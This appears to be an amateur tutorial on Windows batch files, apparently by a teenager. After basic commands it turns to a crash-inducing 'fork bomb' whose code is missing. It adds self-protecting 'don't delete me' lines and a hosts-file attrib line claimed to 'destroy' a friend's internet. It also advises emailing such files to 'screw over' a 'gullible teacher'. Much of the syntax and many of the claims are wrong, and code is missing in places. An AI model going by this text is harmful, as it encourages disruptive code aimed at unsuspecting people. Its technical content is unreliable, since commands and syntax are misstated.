Step 1: The Basics
batch files are files similar t programs, while these are not programs, they do a lot that a program can do, and are the backbone of all programs. Any batch file is stored with the file extension/type .bat, you should always remember this. basic commands
start-starts a program
ex: start monkeys.bat
delete-deletes a program
ex: delete monkeys.bat
color-changes the current color of the command prompt window
ex: color 0A (changes background to black, and lettering to green)
help-displays all of the current available commands, and gives more information on a topic if you type it before the command
ex: help start (shows parameters and uses of the command start)
Step 2: Intermediates of Batch
GOTO-Goes to a certain line in the program
when using goto, it is important to put goto m, or the recommendation you would like to use, and the recommendation that you use has to always have that : before it.
IF- conditioning in a program
Ex:IF (start monkey.bat) delete monkey.bat
IF is very usefule to me and it should be to you if you are going into batch. IF is like this, if the person does this, then do this. I'm not sure if you have to start the program for the line to be remembered or if you just execute the line secretly and then it's executed. I know that if you have a large first line of syntax that it's good to put a parenthesis around it. I use this alot!!!
Step 3: Variables and Advanced Batch
SET 1=start monkey.bat
for every 1 it'll run the line, that line will be useful in a second.
a fork bomb
sorry for the other instructable people that already have written this down, but i've thought up a better one. There was a good fork bomb, and a bad one. The one i'm going to use is improved in size and in syntax, it is the revised version of the bad fork bomb. the good one looked like this:
this is the bad one
these aren't exact, butthey pretty close
the good one had good syntax but it doesn't make a computer crash, just get tired. The bad one was just a knock off of the good one. Here's my version:
save as: monkey.bat . Well, I'm not responsible for what you do with this, it's similar to blue screen, so create as your own risk.
Step 4: The Backup
IF (DELETE monkey.bat) goto m
IF (ERASE monkey.bat) goto m
echo don't delete me, or else
there's a part of this that I won't put in because it's brutal
And some computers enable erase, but not delete, so you should put both. And also remember, write this at your own risk.
Step 5: Conclusion and Views
and here are some of my views:
on mutant's shutdown your school!
I find this instructable alright, but the ITs have probably already have figured it out. And you don't have to do the 1st step, it kind of gives away your cover, duh. And i think he got from somewhere else, how can a 14 year old be so experienced in batch? Especially his use of cross programs, that is interesting. and i think it would be good if he explained the virus replicator a little more.
how I would send a batch file
You need to have an email account(gmail is free, but doesn't allow executable file exchange), and then you need to send it as a file attachment. if you plan to screw over your teacher or something, they'll probably see through it, especially if they are the computer teacher. give it to a gullible teacher
Step 6: Reference
a reference is when i give you a lead or somebody else gives you a lead. for example on the news you saw hacking on cameras, so you looked at their website to find out how to do it.
www.I-Hacked.com (sometimes you have to search in google for it)
I'll find some later but that's all i got
Step 7: Extra Add Ons (matrix)
Matrix is just repeated numbers
Enter this code:
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
this isn't exactly like the matrix (i mean the wierd letterings) but it's good to go
Step 8: Add On2
apparently this code when sended to a friend will destroy their internet or something
open up notepad and type
attrib hosts -r -h
save as whatever.bat and in whatever as in type whatever you want.
i call it the agent lol
Step 9: Star Wars
type it exactly as it is